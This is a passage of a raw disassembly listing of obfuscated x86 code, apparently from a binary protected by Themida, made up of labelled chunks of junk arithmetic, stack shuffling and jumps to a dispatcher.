loc_556719 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55604D: ; CODE XREF: Themida_:0055B41Cj mov ch, 89h sub al, ch pop cx jmp loc_551F76 ; =============== S U B R O U T I N E ======================================= sub_556058 proc near ; CODE XREF: sub_556A70+BCFj push ebx push ebp push 292E31F1h pop ebp jmp loc_55750F sub_556058 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_556065: ; CODE XREF: sub_556A70+3B9j mov ecx, 2 add edx, ecx pop ecx xchg edx, [esp-0Ch+arg_8] pop esp bts word ptr [esp-10h+arg_C], ax pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55607C: ; CODE XREF: sub_556A70+506Bj mov [esp-0Ch+arg_8], ebp mov ebp, esp jmp loc_55C64F ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_556086: ; CODE XREF: Themida_:0055345Aj xor bh, 23h xor ch, bh pop ebx or ch, 0C5h add ch, 18h jmp loc_557F58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_556097: ; CODE XREF: sub_556A70-155j sub edi, 62995DB6h sub edi, 53502266h sub edi, eax add edi, 53502266h add edi, 62995DB6h pop eax add ebp, edi pop edi push edi mov edi, 254B1651h sub edi, 66BB0CC6h neg edi inc edi sub edi, 9DC97F4Ah sub ebp, edi pop edi sub [edi+24h], ebp pop ebp loc_5560D1: ; CODE XREF: sub_5584F8-7A2Ej push 5A53h jmp loc_55AB2D ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553D17 loc_5560DB: ; CODE XREF: sub_553D17+1j mov bl, 9Bh xor bl, 2 sub bl, 0C0h sub esp, 4 jmp loc_550BF5 ; END OF FUNCTION CHUNK FOR sub_553D17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5560EE: ; CODE XREF: sub_556A70+3E7Dj push esi push 35F50D83h pop esi dec esi not esi jmp loc_55275E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5560FD: ; CODE XREF: Themida_:00550BB6j sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_558D26 ; --------------------------------------------------------------------------- loc_556116: ; CODE XREF: Themida_:00559A9Ej add esp, 4 pop dword ptr [esp] pop esp mov ax, [esp] push 6CF2h mov [esp], ebp mov ebp, esp add ebp, 4 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx push 2 jmp loc_55C321 ; --------------------------------------------------------------------------- loc_556151: ; CODE XREF: Themida_:00558ED8j mov ebx, esp push edx push ebx mov ebx, 5AAC50EEh dec ebx jmp loc_55AB35 ; --------------------------------------------------------------------------- loc_556160: ; CODE XREF: Themida_:00558486j pop ebp jmp loc_550A46 ; --------------------------------------------------------------------------- loc_556166: ; CODE XREF: Themida_:00551E57j push 10F2h mov [esp], edx push ebx jmp loc_551688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_556174: ; CODE XREF: sub_556A70+19A5j add esp, 4 pop [esp-14h+arg_10] jmp loc_559240 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_556182: ; CODE XREF: Themida_:00555C3Dj add ecx, 0F6D88057h mov eax, ecx pop ecx mov edx, eax pop eax push edi mov edi, 5D70168Ch dec edi shl edi, 7 push 0 sub [esp], edi pop edi xor edi, 7CE06E47h push esi mov esi, 79C3054Eh dec esi dec esi add esi, 0C76B7E1Ch xor edi, esi jmp loc_55C601 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5561BC: ; CODE XREF: sub_556A70+1EB1j add edx, 7B6B14B2h sub edx, edi sub edx, 7B6B14B2h push [esp-18h+arg_14] jmp loc_555A73 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5516F8 loc_5561D2: ; CODE XREF: sub_5516F8+B4Bj neg eax neg eax xor eax, 0C0C148D4h mov ecx, eax jmp loc_55A204 ; END OF FUNCTION CHUNK FOR sub_5516F8 ; --------------------------------------------------------------------------- loc_5561E2: ; CODE XREF: Themida_:0055AFBDj sub esp, 4 mov [esp], esi push esp push dword ptr [esp] pop esi add esp, 4 push ebp mov ebp, 4 add esi, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 2 add esi, ecx mov ecx, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] sub [esp], al pushf jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_556223: ; CODE XREF: sub_556A70+3543j xor ebx, edx xchg esi, edx jmp loc_559A56 ; --------------------------------------------------------------------------- loc_55622C: ; CODE XREF: sub_556A70+2C72j pop esi push ebp mov ebp, 9AD49CFh jmp loc_559AE7 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_556238: ; CODE XREF: sub_5584F8+2439j not ebp and ebp, 342A58C1h push edx jmp loc_550F7E ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_556246: ; CODE XREF: sub_556A70-3B24j push ecx jmp loc_559BB2 ; --------------------------------------------------------------------------- loc_55624C: ; CODE XREF: sub_556A70-177Dj mov esp, [esp+4+var_4] inc byte ptr [esp+4+var_4] pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_556258: ; CODE XREF: Themida_:00552727j push 2D5Fh mov [esp], ebp jmp loc_5579E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_556265: ; CODE XREF: sub_556A70+1EAAj pop eax add edx, eax add dword ptr [edx], 1 mov edx, [esp+4+var_4] add esp, 4 mov eax, [esp+0] jmp loc_55ACBB ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_550BFD loc_55627F: ; CODE XREF: sub_550BFD+18j xor ebx, 0E3888659h jmp loc_559427 ; END OF FUNCTION CHUNK FOR sub_550BFD ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_550A46 ; --------------------------------------------------------------------------- loc_556292: ; CODE XREF: Themida_:00552BDDj pop edx push edi jmp loc_554132 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_556299: ; CODE XREF: sub_556A70+25FDj xor [esp+0], ebp jmp loc_55774F ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5562A1: ; CODE XREF: Themida_:0055CD02j xor eax, 7A0D18ECh jmp loc_5535B8 ; --------------------------------------------------------------------------- loc_5562AB: ; CODE XREF: Themida_:0055AEF2j push dword ptr [esp] mov eax, [esp] add esp, 4 push 283Dh mov [esp], edx mov edx, esp push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx push ebp mov ebp, 28B03E8Eh jmp loc_555759 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5562DE: ; CODE XREF: sub_556A70-37D1j shr esi, 5 xor esi, 0F79047AFh sub edx, esi pop esi and eax, edx mov edx, [esp-1Eh+arg_18+2] sub esp, 4 jmp loc_55634F ; --------------------------------------------------------------------------- loc_5562F7: ; CODE XREF: sub_556A70-14j add edi, 547A2D33h pop ebx pop ebp xchg edi, [esp-22h+arg_1C+2] mov esp, [esp-22h+arg_1C+2] mov word ptr [esp-22h+arg_1C+2], ax jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_55630E: ; CODE XREF: sub_5566B9-4694j push ecx push ebp jmp loc_550F6C ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], ebp mov ebp, 70CC7DF4h shl ebp, 7 add ebp, 0FFFFFFFFh sub ebp, 1D3601FDh push esi mov esi, 0DCEEB98Eh add ebp, 4F0902CEh sub ebp, esi sub ebp, 4F0902CEh pop esi add eax, 2B715068h jmp loc_552B7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55634F: ; CODE XREF: sub_556A70-77Ej mov [esp-1Ah+arg_14+2], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-1Ah+arg_14+2] pop esp or eax, eax jz loc_55ACC7 push dword ptr [edi+1Ch] push edx mov edx, esp jmp loc_558A39 ; --------------------------------------------------------------------------- loc_556377: ; CODE XREF: sub_556A70+B40j mov ebp, esi pop esi jmp loc_551EFC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55637F: ; CODE XREF: Themida_:00559DAFj push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx mov edx, 4 add ecx, edx jmp loc_553AAE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557F09 loc_55639E: ; CODE XREF: sub_557F09-6EA0j push 5A7Ch mov [esp+0Ch+var_C], ebx pop ecx push [esp+8+var_8] jmp loc_559D44 ; END OF FUNCTION CHUNK FOR sub_557F09 ; --------------------------------------------------------------------------- loc_5563AF: ; CODE XREF: Themida_:00550CB8j pop edx push dword ptr [esp] pop ebx add esp, 4 jmp loc_55B6B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_550E2C loc_5563BC: ; CODE XREF: sub_550E2C+93D3j mov edi, 4 add eax, edi mov edi, [esp+0] add esp, 4 push eax push [esp+arg_0] pop eax pop dword ptr [esp+0] pop esp movsx ecx, ax push eax push esp pop eax jmp sub_5526D6 ; END OF FUNCTION CHUNK FOR sub_550E2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CC90 loc_5563DE: ; CODE XREF: sub_55CC90+3j mov [esp+8+var_8], esp push ebp mov ebp, 4 add [esp+0Ch+var_8], ebp pop ebp jmp loc_552FAD ; END OF FUNCTION CHUNK FOR sub_55CC90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5563F1: ; CODE XREF: sub_556A70+60D6j pop ebp add esi, 67F357D5h add esi, edi jmp loc_55B5F5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_5563FF proc near ; CODE XREF: sub_556A70-3966j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055C6E0 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0055CB76 SIZE 00000027 BYTES push ebx mov ebx, 69EA5388h add ebp, ebx pop ebx jmp loc_55CB76 sub_5563FF endp ; --------------------------------------------------------------------------- loc_55640D: ; CODE XREF: Themida_:0055C33Dj pop edx add ebp, edx add ebp, 646C5B0Bh pop edx jmp loc_55B8A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55641C: ; CODE XREF: sub_556A70-5B22j shr eax, 3 neg eax jmp loc_555255 ; --------------------------------------------------------------------------- loc_556426: ; CODE XREF: sub_556A70+1B4Ej xor esi, ebp mov ebp, [esp+0Ch+var_C] add esp, 4 shl esi, 6 push edx mov edx, 16EA4E48h or esi, edx pop edx sub esi, 7EFDFFC8h and eax, esi jmp loc_555DAC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553651 loc_556447: ; CODE XREF: sub_553651+79D2j mov eax, 4 jmp loc_5529A9 ; END OF FUNCTION CHUNK FOR sub_553651 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55515F loc_556451: ; CODE XREF: sub_55515F-BF7j push eax jmp loc_551A56 ; END OF FUNCTION CHUNK FOR sub_55515F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_556457: ; CODE XREF: sub_5584F8-7AA5j shr ecx, 0Bh push 1D2h mov [esp+0], ebx push esp jmp loc_5585A5 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_556468: ; CODE XREF: Themida_:0055307Dj add ebp, 4 sub esp, 4 mov [esp], edx jmp loc_558E31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5582B3 loc_55647C: ; CODE XREF: sub_5582B3-4D96j sub ebx, 46BC65F2h add ebx, eax add ebx, 46BC65F2h push ebp push eax push 0ED36ACh pop eax shr eax, 5 sub eax, 0EEEB3588h mov ebp, eax pop eax add ebx, 374F539Bh add ebx, ebp jmp sub_557EBA ; END OF FUNCTION CHUNK FOR sub_5582B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5564AA: ; CODE XREF: sub_556A70-2DCCj add edi, 4 add edi, 4 xchg edi, [esp+8+var_8] pop esp add ebp, 4 push ebx push esi push 6EAA1A09h pop esi xor esi, 79631CE8h inc esi jmp loc_551F4C ; --------------------------------------------------------------------------- loc_5564D4: ; CODE XREF: sub_556A70-2B2j push ecx jmp loc_552E48 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5564DA: ; CODE XREF: Themida_:00558A02j xor [esp], al pushf jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5564E3: ; CODE XREF: sub_556A70+998j not edi sub edi, 40614549h sub eax, edi pop edi dec eax add eax, 16DF333Dh jmp loc_55102D ; --------------------------------------------------------------------------- loc_5564F9: ; CODE XREF: sub_556A70+5248j mov [esp+0Ch+var_C], edx mov edx, 24h jmp loc_5594C2 ; --------------------------------------------------------------------------- loc_556506: ; CODE XREF: sub_556A70-D02j add ebx, edx mov edx, [esp+14h+var_14] add esp, 4 add edi, 4B3D008Bh sub edi, 657E4EC9h add edi, ebx add edi, 657E4EC9h sub edi, 4B3D008Bh pop ebx add edi, 2 jmp loc_559A63 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_556531: ; CODE XREF: Themida_:00553064j or edi, ebx jmp loc_55B7A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_556538: ; CODE XREF: sub_556A70+27Cj push [esp+0Ch+var_C] pop edx add esp, 4 jmp sub_558AE7 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_556547: ; CODE XREF: Themida_:005566A3j add ebx, 3B4F79B9h shl ebx, 1 sub ebx, 7A07807Ah mov ecx, ebx pop ebx jmp loc_555D19 ; --------------------------------------------------------------------------- loc_55655D: ; CODE XREF: Themida_:00551E3Cj push 1D6h mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp jmp loc_5533B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552E24 loc_556572: ; CODE XREF: sub_552E24+68F0j pop esp shr eax, 10h xor eax, ecx xor eax, esi xor esi, eax jmp loc_55BAE0 ; END OF FUNCTION CHUNK FOR sub_552E24 ; --------------------------------------------------------------------------- loc_556581: ; CODE XREF: Themida_:00555794j mov eax, 64E77962h jmp loc_55A158 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55658B: ; CODE XREF: sub_556A70-2F2j pop edi push edi push eax push edi mov edi, 4B4A7623h sub edi, 77B462FAh add edi, 485901D9h jmp loc_555947 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553D17 loc_5565A5: ; CODE XREF: sub_553D17+63Dj mov [esp+0], eax jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_553D17 ; =============== S U B R O U T I N E ======================================= sub_5565AD proc near ; CODE XREF: sub_55227F+8DB7j var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0055338F SIZE 00000006 BYTES push ebx push eax mov eax, 20575062h mov ebx, eax push [esp+8+var_8] mov eax, [esp+0Ch+var_C] push esi push esp jmp loc_55338F sub_5565AD endp ; --------------------------------------------------------------------------- loc_5565C3: ; CODE XREF: Themida_:0055C37Fj mov esp, [esp] mov [esp], ecx mov ecx, esp add ecx, 4 push esi push ebx mov ebx, 128D1C09h jmp loc_559523 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5565DD: ; CODE XREF: sub_556A70+59j mov ebx, esp push ebp mov ebp, 4 add ebx, ebp pop ebp push edi mov edi, 4 sub ebx, 67D45E1Eh sub ebx, edi add ebx, 67D45E1Eh pop edi xchg ebx, [esp+10h+var_10] pop esp jmp loc_5532BD ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_556606: ; CODE XREF: Themida_:005594BDj mov [esp], ecx mov ecx, 7A515F02h and ecx, 31160B24h push ecx jmp loc_551B9F ; --------------------------------------------------------------------------- loc_55661A: ; CODE XREF: Themida_:005540B9j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_552DD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55662E: ; CODE XREF: sub_556A70+53j push edx mov edx, 6AB38C9h jmp loc_5574C6 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_556639: ; CODE XREF: Themida_:0055A34Dj pop dx mov bp, [esp] push eax mov eax, esp push ebp mov ebp, 4 add eax, ebp pop ebp add eax, 2 xchg eax, [esp] jmp loc_556D03 ; --------------------------------------------------------------------------- loc_556656: ; CODE XREF: Themida_:00558E2Cj push 190Ah mov [esp], ebp mov ebp, esp jmp loc_55BF28 ; --------------------------------------------------------------------------- loc_556665: ; CODE XREF: Themida_:0055BB6Fj add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] push edx sub esp, 4 mov [esp], ebp push 5089133Dh pop ebp jmp loc_55A1BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_556689: ; CODE XREF: sub_556A70+41F9j pop [esp+10h+var_10] mov esp, [esp+0Ch+var_C] jmp loc_55CC69 ; --------------------------------------------------------------------------- loc_556694: ; CODE XREF: sub_556A70-4D6Cj and ebx, ebp mov ebp, [esp+0] jmp loc_557AA3 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55669E: ; CODE XREF: Themida_:0055BC01j mov ebx, 1B44686h jmp loc_556547 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5566A8: ; CODE XREF: sub_556A70-5608j mov si, 4FE4h add bx, 6710h add bx, si jmp loc_552679 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_5566B9 proc near ; CODE XREF: sub_555B85+5963j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00550F6C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00551179 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005516A6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00552021 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00552D9B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005531FF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005535E8 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00554478 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00554832 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055497E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055630E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005566E0 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00558A95 SIZE 0000003E BYTES ; FUNCTION CHUNK AT 00558EAC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00558EE4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00559602 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055A35C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055A570 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0055B1EF SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0055B2E5 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0055CA07 SIZE 00000008 BYTES sub esp, 4 mov [esp+4+var_4], eax sub esp, 4 mov [esp+8+var_8], ecx mov ecx, 80h push esi jmp loc_554478 sub_5566B9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553D17 loc_5566D3: ; CODE XREF: sub_553D17+90B4j push edx mov dl, bl mov al, dl pop edx pop ebx push ecx jmp loc_559923 ; END OF FUNCTION CHUNK FOR sub_553D17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_5566E0: ; CODE XREF: sub_5566B9-30BAj pop ebp sub ecx, 244301C1h push edi mov edi, 67F35B7Dh xor ecx, edi pop edi and ecx, 2240564Ch jmp loc_551179 ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B730 loc_5566FB: ; CODE XREF: sub_55B730-974Dj xchg ebp, [esp+0Ch+var_C] pop esp pop edx add ebx, 0C161BE57h and eax, ebx mov ebx, [esp+4+var_4] push esi jmp loc_550D6E ; END OF FUNCTION CHUNK FOR sub_55B730 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_556711: ; CODE XREF: sub_556A70-4B5Ej shl ecx, 5 jmp loc_55192D ; --------------------------------------------------------------------------- loc_556719: ; CODE XREF: sub_556A70-A28j pop eax sub edx, 4 xchg edx, [esp-0Ch+arg_8] pop esp mov [esp-10h+arg_C], edi jmp sub_553657 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55672C: ; CODE XREF: Themida_:00552748j mov esi, esp add esi, 4 jmp loc_559458 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_556739: ; CODE XREF: sub_556A70-47F6j pop edx push 1067h mov [esp+8+var_8], edi jmp loc_55CBE9 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_556747: ; CODE XREF: Themida_:00550E5Bj xor edi, 25B82FB7h mov esi, edi pop edi push 6ED8h mov [esp], esi pop ebx jmp loc_553D33 ; --------------------------------------------------------------------------- loc_55675E: ; CODE XREF: Themida_:0055AECAj sub esp, 4 mov [esp], esi jmp loc_555425 ; =============== S U B R O U T I N E ======================================= sub_556769 proc near ; CODE XREF: sub_556A70-2A69j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 005537AB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00558B7D SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055BE98 SIZE 00000005 BYTES push ebx jmp loc_5537AB sub_556769 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55676F: ; CODE XREF: sub_556A70+6D9j mov edi, 15A010Ch not edi xor edi, 0C635BF25h and ebp, edi jmp loc_55658B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_556783: ; CODE XREF: Themida_:00555B80j shl ah, 5 sub ah, 0FFh add ah, 7 mov ch, ah jmp loc_553D6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_556793: ; CODE XREF: sub_556A70+52C0j add edi, 624162A5h jmp loc_556D17 ; --------------------------------------------------------------------------- loc_55679E: ; CODE XREF: sub_556A70+3677j add esp, 4 add edx, 4 sub edx, 4 xchg edx, [esp+4+var_4] pop esp mov [esp+0], eax not dword ptr [esp+0] push dword ptr [esp+0] push [esp+4+var_4] pop eax jmp loc_5564D4 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559F2D loc_5567C3: ; CODE XREF: sub_559F2D+3024j pop ebx push 7393h mov [esp+8+var_8], edx mov edx, esp jmp loc_55C59A ; END OF FUNCTION CHUNK FOR sub_559F2D ; --------------------------------------------------------------------------- mov ax, [esp] push 3FF6h mov [esp], esi push esp push dword ptr [esp] pop esi push edx jmp loc_55BD59 ; =============== S U B R O U T I N E ======================================= sub_5567EA proc near ; CODE XREF: sub_556A70+63D8j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005513F2 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 005523F7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00552D8D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005555E3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00558B65 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055B6C0 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055C842 SIZE 00000022 BYTES push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+4+var_4] jmp loc_55B6C0 sub_5567EA endp ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] sub esp, 4 jmp loc_5525A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55680C: ; CODE XREF: sub_556A70+6235j xor edx, 65AAA146h sub ebx, edx pop edx inc ebx shl ebx, 1 sub ebx, 87E5937Dh mov ebp, ebx pop ebx add ebx, ebp mov ebp, [esp-4+arg_0] add esp, 4 push ecx sub esp, 4 jmp loc_553961 ; --------------------------------------------------------------------------- loc_556832: ; CODE XREF: sub_556A70+24Aj add ebx, eax add ebx, 49F7501Ah push ebp push ebx push 61616DADh jmp loc_55AEF7 ; --------------------------------------------------------------------------- loc_556846: ; CODE XREF: sub_556A70-59ACj add ebx, 55646909h push edx mov dh, ch mov [ebx], dh pop edx mov ebx, [esp+18h+var_18] add esp, 4 jmp loc_559736 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55685D: ; CODE XREF: sub_5584F8+D1Ej and edx, 53892FAAh push ebx push edx mov edx, 25940299h jmp loc_553B45 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55686F: ; CODE XREF: sub_556A70-3028j shr ebp, 4 jmp loc_5581A0 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_556877: ; CODE XREF: Themida_:00558537j mov ebp, 2F355A9Bh not ebp push ecx mov ecx, 6DDC7E67h shr ecx, 2 shr ecx, 5 jmp loc_557ADD ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_553BDE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_556898: ; CODE XREF: sub_556A70-1BF0j mov ebp, 3141ECDh jmp loc_557199 ; --------------------------------------------------------------------------- loc_5568A2: ; CODE XREF: sub_556A70+8E8j push esp pop edi sub esp, 4 mov [esp-0Ah+arg_4+2], ebx push esi mov esi, 7892069Ah sub esi, 3BF805A4h mov ebx, esi pop esi jmp loc_5518C0 ; --------------------------------------------------------------------------- loc_5568BE: ; CODE XREF: sub_556A70+46Dj dec cx dec cx push small 467h mov word ptr [esp-8+arg_4], bp mov bp, 79D2h and cx, bp mov bp, word ptr [esp-8+arg_4] add esp, 2 jmp loc_55BEEC ; --------------------------------------------------------------------------- loc_5568E0: ; CODE XREF: sub_556A70+766j mov edi, 5F4073ACh xor ecx, edi pop edi sub esp, 4 mov [esp-0Ch+arg_8], ebx mov ebx, 2FFA1022h push ebp mov ebp, 58FF5D40h and ebp, 57BB3923h dec ebp push 0 sub [esp-4+arg_0], ebp jmp loc_55C984 ; --------------------------------------------------------------------------- loc_556910: ; CODE XREF: sub_556A70+11C2j mov esi, 0BA2DB608h mov ecx, esi pop esi mov edi, ecx pop ecx jmp loc_556097 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_556920: ; CODE XREF: Themida_:0055525Dj mov bh, 0F2h mov cl, bh jmp loc_555B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_556929: ; CODE XREF: sub_556A70-3464j shr ebx, 5 and ebx, 507727D3h jmp loc_557E63 ; --------------------------------------------------------------------------- loc_556937: ; CODE XREF: sub_556A70+820j mov [esp-4+arg_0], ebx push esi mov esi, 77BD0594h mov ebx, 71604AB9h inc ebx jmp loc_558F11 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55694B: ; CODE XREF: Themida_:00554AB5j mov ecx, 36801B2Bh dec ecx not ecx xor ecx, 0C97FE4D1h add edx, ecx jmp loc_5512E9 ; --------------------------------------------------------------------------- loc_556960: ; CODE XREF: Themida_:005546A3j push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp sar byte ptr [esp], cl pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_556973: ; CODE XREF: Themida_:0055CAD9j mov esi, 7A467B75h push 0 jmp loc_555D73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_556982: ; CODE XREF: sub_556A70-3B79j mov [esp-0Ch+arg_8], eax push ebx mov bl, 1Bh mov 